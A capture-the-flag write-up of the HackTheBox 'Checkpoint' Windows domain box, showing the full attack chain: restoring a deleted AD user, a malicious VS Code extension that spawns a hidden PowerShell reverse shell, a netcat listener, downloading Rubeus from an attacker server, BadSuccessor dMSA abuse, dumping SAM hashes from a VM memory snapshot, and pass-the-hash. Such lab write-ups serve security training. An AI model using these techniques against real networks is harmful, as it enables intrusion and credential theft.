# Checkpoint Writeup - HackTheBox

> Windows medium box involving checkpoint security mechanisms, requiring careful enumeration, privilege escalation, and bypassing security controls to gain root access.

- **URL:** https://hackindex.io/writeups/checkpoint
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Windows
- **Tags:** active-directory, bloodhound, base64
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 7 min read
- **Published:** 2026-05-30
- **Updated:** 2026-10-25

## **Reconnaissance**

```bash
nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt $TARGET_IP
# PORT      STATE SERVICE       VERSION
# 53/tcp    open  domain        Simple DNS Plus
# 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
# 135/tcp   open  msrpc         Microsoft Windows RPC
# 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
# 389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
# 445/tcp   open  microsoft-ds
# 464/tcp   open  kpasswd5
# 593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
# 636/tcp   open  tcpwrapped
# 3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
# 3269/tcp  open  tcpwrapped
# 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# 9389/tcp  open  mc-nmf        .NET Message Framing
#
# | ssl-cert: Subject: commonName=DC01.checkpoint.htb
# Host script results:
# |   NetBIOS name: DC01
# |   DNS_Domain_Name: checkpoint.htb
# |   DNS_Computer_Name: DC01.checkpoint.htb
```

Classic DC fingerprint: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985). Domain `checkpoint.htb`, hostname `DC01.checkpoint.htb` from LDAP + SSL cert.

### **/etc/hosts**

```bash
echo '$TARGET_IP checkpoint.htb dc01.checkpoint.htb dc01' | sudo tee -a /etc/hosts
```

## **Initial Access**

### **Step 1 ,  Verify Initial Auth (alex.turner)**

```bash
nxc smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
# [+] checkpoint.htb\alex.turner:Checkpoint2024!
#
```

### **Step 2 ,  Enumerate Writable AD Objects**

```bash
bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host dc01.checkpoint.htb get writable
```

**Key findings:**

- `WRITE` on `CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb`
- `CREATE_CHILD` on `OU=Employees,DC=checkpoint,DC=htb`
- `WRITE` on `CN=Deleted Objects,DC=checkpoint,DC=htb`

### **Step 3 ,  Restore Deleted User Mark Davies**

alex.turner has WRITE on the Deleted Objects container, including Mark Davies' tombstone. Restore him with bloodyAD:

```bash
bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host dc01.checkpoint.htb \
  set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb"
# [+] Restored to CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
```

### **Step 4 ,  Password Reuse with mark.davies**

```bash
nxc smb checkpoint.htb -u 'mark.davies' -p 'Checkpoint2024!'
# [+] checkpoint.htb\mark.davies:Checkpoint2024!
```

Mark Davies reuses the same domain password `Checkpoint2024!`.

### **Step 5 ,  Find DevDrop SMB Share**

```bash
nxc smb checkpoint.htb -u 'mark.davies' -p 'Checkpoint2024!' --shares
```

**Key finding:**

- Share `DevDrop` with `READ,WRITE` permissions
- Description: "VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0"

## **Execution**

### **Step 6 ,  Malicious VS Code Extension (.vsix → RCE)**

A bot periodically installs `.vsix` files dropped in the DevDrop share. The extension activates on VS Code startup and runs arbitrary code. All source files are in `vsix-exploit/` in this folder.

**Directory structure:**

```
vsix-exploit/
├── [Content_Types].xml
├── extension.vsixmanifest
└── extension/
    ├── package.json
    └── out/
        └── extension.js
```

`extension/package.json`**:**

```json
{
    "name": "checkpoint-tools",
    "displayName": "Checkpoint Tools",
    "description": "Internal tooling",
    "version": "1.0.0",
    "publisher": "checkpoint",
    "engines": {"vscode": "^1.118.0"},
    "activationEvents": ["*"],
    "main": "./out/extension.js",
    "contributes": {}
}
```

`extension/out/extension.js` (self-contained inline reverse shell ,  no HTTP fetch needed):

```javascript
const { exec } = require('child_process');

function activate(context) {
    const cmd = `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "..."`;
    exec(cmd);
}

function deactivate() {}
module.exports = { activate, deactivate };
```

`[Content_Types].xml`**:**

```xml
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension=".vsixmanifest" ContentType="text/xml" />
  <Default Extension=".json" ContentType="application/json" />
  <Default Extension=".js" ContentType="application/javascript" />
</Types>
```

`extension.vsixmanifest`**:**

```xml
<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011">
  <Metadata>
    <Identity Language="en-US" Id="checkpoint-tools" Version="1.0.0" Publisher="checkpoint" />
    <DisplayName>Checkpoint Tools</DisplayName>
    <Description xml:space="preserve">Internal tooling</Description>
    <Tags></Tags>
    <Categories>Other</Categories>
    <GalleryFlags>Public</GalleryFlags>
    <Properties>
      <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.118.0" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
    </Properties>
  </Metadata>
  <Installation>
    <InstallationTarget Id="Microsoft.VisualStudio.Code" Version="[1.118.0,)" />
  </Installation>
  <Dependencies />
  <Assets>
    <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
  </Assets>
</PackageManifest>
```

**Build, catch, upload:**

```bash
# Build VSIX (zip with specific structure)
cd vsix-exploit
zip -r ../exploit.vsix "[Content_Types].xml" extension.vsixmanifest extension/

# Start listener BEFORE uploading
rlwrap nc -lvnp 4444 -s $LHOST

# Upload to DevDrop
smbclient //checkpoint.htb/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' \
  -c 'put exploit.vsix exploit.vsix'
```

Shell arrives within ~2 minutes (bot picks up the file).

## **Discovery**

### **Step 6b ,  User Flag**

```bash
type C:\Users\ryan.brooks\Desktop\user.txt
```

### **Step 7 ,  Post-Shell Enumeration (ryan.brooks)**

ryan.brooks is a standard domain user:

- Groups: `CHECKPOINT\VPN-Users`, `CHECKPOINT\DevTeam`, `BUILTIN\Users`
- No local admin, no SeDebugPrivilege

```bash
whoami /groups
net user ryan.brooks /domain
```

VMBackups is access denied:

```bash
dir \\DC01\VMBackups
# # Access is denied.
#
```

> [!NOTE]
> Dead end explored: VS Code state DB (`state.vscdb`) contained no credentials.

**Key finding for privesc:** `ryan.brooks` has `CreateChild` on `OU=DMSAHolder` (found via bloodyAD / BloodHound) → BadSuccessor attack path.

## **Privilege Escalation**

### **BadSuccessor ,  DMSA Abuse on Patched Server 2025**

DC build **26100.32860** is post-patch 4946. On patched DCs, `msDS-SupersededManagedAccountLink` must also be written on the **target** account ,  so the attacker needs WRITE on the target, not just CreateChild on the OU. ryan.brooks has CreateChild on `OU=DMSAHolder` and WRITE on `svc_deploy`. We target svc_deploy, whose NT hash gives access to VMBackups.

### **Step 8a ,  Enumerate BadSuccessor Rights**

```bash
nxc ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessor
# BADSUCCE... DC01  [+] Found domain controller with operating system Windows Server 2025: $TARGET_IP
# BADSUCCE... DC01  [+] Found 2 results
# BADSUCCE... DC01  alex.turner (S-1-5-21-...-1101), OU=Employees,DC=checkpoint,DC=htb
# BADSUCCE... DC01  ryan.brooks (S-1-5-21-...-1103), OU=DMSAHolder,DC=checkpoint,DC=htb
```

ryan.brooks has `CreateChild` on `OU=DMSAHolder`.

### **Step 8b ,  Get ryan.brooks TGT via Rubeus tgtdeleg**

Rubeus is downloaded from the attacker's HTTP file server (ToolServe or `python3 -m http.server`):

```bash
# On target shell
Invoke-WebRequest -Uri 'http://$LHOST:8181/dl/win/ad/rubeus.exe' -OutFile 'C:\Windows\Temp\rubeus.exe'
C:\Windows\Temp\rubeus.exe tgtdeleg /nowrap
# [*] Action: Request Fake Delegation TGT (current user)
# [*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
# [+] Kerberos GSS-API initialization success!
# [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
# [*] base64(ticket.kirbi):
#
#       doIF1DCCBdCgAwIBBaEDAgEW...
```

### **Step 8c ,  Convert kirbi → ccache + Sync Clock**

Kali was ~7 hours behind the DC ,  Kerberos has a 5-minute tolerance. Sync clock first.

```bash
sudo ntpdate -b checkpoint.htb

# Save the full base64 kirbi from Rubeus output to a file, then convert:
base64 -d /tmp/ryan.kirbi.b64 > /tmp/ryan2.kirbi
impacket-ticketConverter /tmp/ryan2.kirbi /tmp/ryan2.ccache
# # [*] converting kirbi to ccache...
# # [+] done
```

### **Step 8d ,  Find Writable Target for DMSA**

ryan.brooks can't write to Administrator. Check what he can write to:

```bash
export KRB5CCNAME=/tmp/ryan2.ccache
bloodyAD -k ccache=/tmp/ryan2.ccache --dc-ip $TARGET_IP \
  --host dc01.checkpoint.htb -d checkpoint.htb get writable --right WRITE
# distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
# permission: WRITE
```

ryan.brooks has `WRITE` on `svc_deploy`. svc_deploy is in `BackupAccess` group → READ on `VMBackups`.

### **Step 8e ,  Create Weaponised DMSA Targeting svc_deploy**

```bash
export KRB5CCNAME=/tmp/ryan2.ccache
bloodyAD -k ccache=/tmp/ryan2.ccache -u ryan.brooks \
  --dc-ip $TARGET_IP --host dc01.checkpoint.htb -d checkpoint.htb \
  add badSuccessor evilDMSA6 \
  -t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \
  --ou "OU=DMSAHolder,DC=checkpoint,DC=htb"
# [+] Creating DMSA evilDMSA6$ in OU=DMSAHolder,DC=checkpoint,DC=htb
# [+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
#
# Realm        : CHECKPOINT.HTB
# Sname        : krbtgt/CHECKPOINT.HTB
# UserName     : evilDMSA6$
# UserRealm    : checkpoint.htb
# StartTime    : 2026-06-14 18:06:10+00:00
# EndTime      : 2026-06-15 03:49:13+00:00
# Flags        : renewable, forwardable, forwarded, enc-pa-rep, pre-authent
# Keytype      : 18
# Key          : m1ZW7MRbqp4XdICDo2Of+COSSqx9iVBr6cWdiyNBxoM=
#
# [+] dMSA TGT stored in ccache file evilDMSA6_ty.ccache
#
# dMSA current keys found in TGS:
# AES256: 782275404d4475e867db896a731894d971d2b55f3b874445dd8942a29a2270f4
# AES128: 8d3194e308cd04ca945ce999cb758513
# RC4: 352bb8057e13095aa509ac161be4701d
#
# dMSA previous keys found in TGS (including keys of preceding managed accounts):
# RC4: $SVC_HASH
#
```

The "previous keys" entry is svc_deploy's NT hash (the "preceding managed account").  
TGT saved to: `evilDMSA6_ty.ccache`

## **Credential Access**

### **VMware Memory Forensics**

svc_deploy is in the `BackupAccess` group and has READ on `VMBackups`. The share contains a VMware snapshot of a Windows Server 2019 machine. We extract the SAM/SYSTEM hives from RAM to recover the local Administrator hash.

### **Step 8f ,  Confirm VMBackups Access**

```bash
export KRB5CCNAME=evilDMSA6_ty.ccache
nxc smb dc01.checkpoint.htb -k --use-kcache --shares
# SMB  DC01  [+] checkpoint.htb\evilDMSA6$ from ccache
# SMB  DC01  VMBackups    READ
```

```bash
nxc smb dc01.checkpoint.htb -u svc_deploy -H $SVC_HASH --shares
# SMB  DC01  [+] checkpoint.htb\svc_deploy:$SVC_HASH
# SMB  DC01  VMBackups    READ
```

VMBackups contents (`NightlyBackup_2024-11-01/memory forensics/`):

```
Windows Server 2019.vmdk           9.5 GB   full VM disk
Windows Server 2019-000001.vmdk    101 MB   delta VMDK
Windows Server 2019-Snapshot1.vmem  2 GB   RAM dump  ← target
Windows Server 2019-Snapshot1.vmsn 131 MB   snapshot metadata
```

### **Step 8g ,  Download vmem + vmsn**

`smbclient` chokes on filenames with spaces. Use impacket Python directly:

`dl_vmem.py` :

```python
from impacket.smbconnection import SMBConnection

TARGET_PATH = 'snapshot.vmem'
REMOTE_FILE = 'NightlyBackup_2024-11-01\\memory forensics\\Windows Server 2019-Snapshot1.vmem'

conn = SMBConnection('dc01.checkpoint.htb', '$TARGET_IP', sess_port=445)
conn.login('svc_deploy', '', 'checkpoint.htb', '', '$SVC_HASH')

total = 0
with open(TARGET_PATH, 'wb') as f:
    def write_chunk(data):
        global total
        f.write(data)
        total += len(data)
        if total % (100 * 1024 * 1024) == 0:
            print(f'[*] Downloaded {total // (1024*1024)} MB', flush=True)
    conn.getFile('VMBackups', REMOTE_FILE, write_chunk)

print(f'[+] Done! {total} bytes')
conn.logoff()
```

`dl_vmsn.py` same but for `.vmsn`. volatility3 needs the `.vmsn` alongside the `.vmem` with matching base name to correctly map VMEM pages:

```python
from impacket.smbconnection import SMBConnection

TARGET_PATH = 'snapshot.vmsn'
REMOTE_FILE = 'NightlyBackup_2024-11-01\\memory forensics\\Windows Server 2019-Snapshot1.vmsn'

conn = SMBConnection('dc01.checkpoint.htb', '$TARGET_IP', sess_port=445)
conn.login('svc_deploy', '', 'checkpoint.htb', '', '$SVC_HASH')

total = 0
with open(TARGET_PATH, 'wb') as f:
    def write_chunk(data):
        global total
        f.write(data)
        total += len(data)
        if total % (20 * 1024 * 1024) == 0:
            print(f'[*] Downloaded {total // (1024*1024)} MB', flush=True)
    conn.getFile('VMBackups', REMOTE_FILE, write_chunk)

print(f'[+] Done! {total} bytes')
conn.logoff()
```

```bash
cd /home/user/Desktop/Targets/CTFs/HackTheBox/Checkpoint
python3 dl_vmem.py
python3 dl_vmsn.py
# # [*] Downloaded 100 MB
# # [*] Downloaded 200 MB
# # ...
# # [+] Done! 2147483648 bytes
# # [+] Done! 138164859 bytes
```

### **Step 8h ,  Extract Registry Hives from vmem with volatility3**

```bash
pipx install volatility3

VOL=/home/user/.local/share/pipx/venvs/volatility3/bin/vol

# List hives
$VOL -f snapshot.vmem windows.registry.hivelist.HiveList
# Offset              FileFullPath
# 0xc30a2fe38000      \REGISTRY\MACHINE\SYSTEM
# 0xc30a3278e000      \SystemRoot\System32\Config\SAM
# 0xc30a32789000      \SystemRoot\System32\Config\SECURITY
```

```bash
mkdir lsass_dump
$VOL -f snapshot.vmem -o lsass_dump windows.registry.hivelist.HiveList --dump
# 0xc30a2fe38000  \REGISTRY\MACHINE\SYSTEM   registry.SYSTEM.0xc30a2fe38000.hive
# 0xc30a3278e000  \SystemRoot\System32\Config\SAM   registry.SAM.0xc30a3278e000.hive
# 0xc30a32789000  \SystemRoot\System32\Config\SECURITY   registry.SECURITY.0xc30a32789000.hive
```

### **Step 8i ,  secretsdump LOCAL on Extracted Hives**

```bash
impacket-secretsdump \
  -sam lsass_dump/registry.SAM.0xc30a3278e000.hive \
  -system lsass_dump/registry.SYSTEM.0xc30a2fe38000.hive \
  -security lsass_dump/registry.SECURITY.0xc30a32789000.hive \
  LOCAL
# [*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5
# [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMIN_HASH:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# [*] Dumping LSA Secrets
# [*] DPAPI_SYSTEM
# dpapi_machinekey:0x914b2bd39adf134401ec6eceb08f8ec131d2ecbd
# dpapi_userkey:0x77d90ebac2487f870a26e4776c72b4509b06dd1b
```

## **Lateral Movement**

### **Step 8j ,  Pass-the-Hash as Administrator**

The Server 2019 Administrator hash is reused on the Server 2025 DC:

```bash
nxc smb dc01.checkpoint.htb -u Administrator -H $ADMIN_HASH
# SMB  DC01  [+] checkpoint.htb\Administrator:$ADMIN_HASH (Pwn3d!)
#
```

```bash
nxc smb dc01.checkpoint.htb -u Administrator -H $ADMIN_HASH \
  -x 'type C:\Users\max.palmer\Desktop\root.txt'
```

Related
